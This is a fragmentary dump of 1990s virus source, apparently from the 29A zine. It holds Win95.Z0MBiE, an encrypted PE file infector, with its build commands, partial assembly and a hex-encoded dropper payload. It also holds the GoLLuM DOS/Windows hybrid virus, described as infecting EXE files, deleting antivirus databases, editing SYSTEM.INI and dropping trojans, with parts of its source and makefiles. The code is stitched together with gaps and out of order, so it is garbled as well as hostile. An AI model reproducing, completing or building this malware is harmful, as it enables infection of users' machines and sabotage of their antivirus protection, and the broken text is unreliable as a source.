;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;dbNUL000h
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.386
locals
jumps
.model flat
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
.data
sux db 'mustdie'
.code
start:
call codestart
align 4
decrsize equ $-start
call analizekernel
call first
in al, 81h
cmp al, PORT_ID
je exit_to_program
in al, 80h
cmp al, PORT_ID
je infect
call ExecExe
exit_to_program: ret
; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass
; recursive infect
exit_to_mustdie: push -1
call _ExitProcess
call closefile
ret
call infectfile
jmp exit_to_mustdie
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
ret
@@2: cmpsb
jne @@1
; found
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
jmp nofunction
or eax, eax
jnz @@next
@@exit: ret
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory
getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
inc eax
jz @@exit
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; read in enuff to calculate the full size of the pe header and object table
; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
call random
mov xorword[ebp], eax
@@exit: ret
; output: eax=rnd
; zf=rnd(2)
; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
bytesread dd ?
drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0
exefiles db '*.EXE',0
dirfiles db '*.',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?
peheaderoffset dd ?
objecttableoffset dd ?
newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
align 4
viriisize equ $-start
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ³ GoLLuM ViRuS - BioCoded by GriYo/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ CopyRight (c) 1997 All RiGhts ReseRVed ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ World's first DOS/Win hybrid ever ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; GoLLuM is the very first hybrid DOS-Windows virus ever... it infects DOS
; EXE files only when they're executed inside a DOS window under any of
; the known versions of Microsoft Windows (Windows 3.1x, Windows95...). It
; becomes resident as a virtual device driver when Windows starts, and
; then hooks V86 int 21h in order to monitor file execution, trying to in-
; fect more files under DOS sessions.
;
; When an EXE file is executed inside a MS-DOS window, GoLLuM will attach
; itself to the end of the file (it copies first its DOS code and then the
; VxD file, both of them encrypted with a simple 'not' operation). GoLLuM
; will not infect files that have digits or the 'V' character in their na-
; mes (this includes AVP, MSAV, CPAV...), as well as Thunderbyte utilities
; (TB*.*), McAffee shit and F-Prot.
;
; The virus also deletes some AV database files (ANTI-VIR.DAT, CHKLIST.MS,
; AVP.CRC, IVB.NTZ and CHKLIST.TAV) whenever it infects a file. When these
; infected files are run, GoLLuM inserts the string 'DEVICE=GOLLUM.386'
; into the [386Enh] section of the SYSTEM.INI file, and then drops its VxD
; file into the Windows \SYSTEM directory.
;
; The encryption used by GoLLuM consists on a simple 'not' operation, but
; the decryptor contains a little emulation trick (try to TbClean it!).
; Besides, it contains a date-triggered event, in which it will drop tro-
; jan files (using the DOS stub in its VxD file).
;
; I wrote this just for fun while learning something on VxD coding. GoLLuM
; consists on the following files:
;
; GOLLUM.ASM DOS virus code
; CRYPT.ASM Code used to encrypt DOS virus code
; WGOLLUM.MAK VxD makefile
; WGOLLUM.DEF VxD def file
; VXDSTUB.ASM VxD stub used in trojans
; WGOLLUM.ASM VxD virus code
; ASSEMBLE.BAT Batch file used to build GOLLUM.INC
;
; - -[GOLLUM.ASM - DOS virus code]- - - - - - - - - - - - - - - - - - - ->8
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;String table
Win_Sys_Table dw offset Win_Sys_01h
dw offset Win_Sys_02h
dw offset Win_Sys_03h
dw offset Win_Sys_04h
dw offset Win_Sys_05h
;Posible locations of SYSTEM.INI file
Win_Sys_01h db "C:\WINDOWS\SYSTEM.INI",00h
Win_Sys_02h db "C:\WIN\SYSTEM.INI",00h
Win_Sys_03h db "C:\WIN31\SYSTEM.INI",00h
Win_Sys_04h db "C:\WIN311\SYSTEM.INI",00h
Win_Sys_05h db "C:\WIN95\SYSTEM.INI",00h
;Buffer where virus build VxD file name and path
VxD_File db 20h dup (00h)
;String inserted into SYSTEM.INI
Device_String db 0Dh,0Ah,"DEVICE=GOLLUM.386",0Dh,0Ah
;Misc data
System_Size dw 0000h
System_Handle dw 0000h
;Next bytes = Old .EXE header + VxD file copy
Old_Header equ this byte
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I_am_GoLLuM ends
end GoLLuM_Entry_Point
vxdstub.obj: vxdstub.asm
masm -Mx -p -w2 vxdstub;
vxdstub.exe: vxdstub.obj
link vxdstub.obj;
wgollum.obj: wgollum.asm .\debug.inc .\vmm.inc .\shell.inc
masm5 -p -w2 -Mx $(Debug) wgollum.asm;
objs = wgollum.obj
wgollum.exe: wgollum.386
copy wgollum.386 wgollum.exe
library wgollum
description 'GoLLuM ViRuS for Microsoft Windows© by GriYo/29A'
stub 'vxdstub.exe'
exetype dev386
segments
